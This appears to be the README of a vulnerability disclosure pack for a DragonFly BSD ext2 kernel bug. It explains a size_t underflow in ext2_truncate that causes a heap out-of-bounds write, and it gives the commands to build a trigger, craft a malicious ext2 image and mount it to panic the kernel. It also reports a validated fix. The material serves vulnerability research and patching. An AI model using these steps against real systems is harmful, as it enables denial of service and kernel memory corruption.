# DF-0888 — PoC & evidence pack

**Verdict: REPRODUCED (panic / heap OOB write on default GENERIC #0). Fix VALIDATED (#1).**

`ext2_truncate` (`sys/vfs/ext2fs/ext2_inode.c:465`) has no structural-limit
check on `length`. For `length` in the triple-indirect range (>~4.4 TiB at 4 KiB
blocks), `ext2_ind_truncate` computes `lastiblock[TRIPLE] > NINDR^3`
(`:313`), and `ext2_indirtrunc(level=TRIPLE)` computes `last = lastbn/factor
= 1278 > NINDR-1` (`:140`), so the `bzero(&bap[last+1], (NINDR-(last+1))*4)`
at `:172-173` underflows size_t to ≈2^64 and writes out of bounds past
`bp->b_data` → kernel page fault.

See **VERDICT.md** for the full line-by-line analysis.

## Build (guest, as `maxx`)
```
cc -O2 -Wall -o trigger trigger.c
cc -O2 -Wall -o harness harness.c
```

## Craft image (HOST — needs `mke2fs`, `debugfs`, `python3`)
```
python3 craft_img.py df0888.ext2
scp df0888.ext2 dfbsd:/root/df0888.ext2
```

## Run (guest, as `root` — ext2fs is root-only-mount)
```
vnconfig -c /dev/vn0 /root/df0888.ext2
mount -t ext2fs /dev/vn0 /mnt/df0888
/root/trigger /mnt/df0888/target
```
- **Unpatched #0**: `Fatal trap 12: page fault` at `memset+0xf0`. Guest dead in DDB.
- **Patched #1** (`fix.diff`): `ftruncate` returns `errno=27 (EFBIG)`. No panic.

## Reachability
ext2 is not user-mountable on DragonFly (`SYSCAP_RESTRICTEDROOT`,
`vfs.usermount=0`). The bug is reachable only by root mounting crafted media →
**root→kernel DoS / heap corruption**, not an unprivileged LPE. The bzero
zeroes (attacker cannot set arbitrary byte values), so the corruption ceiling is
a large heap zero-out; on GENERIC (INVARIANTS ON) it panics immediately.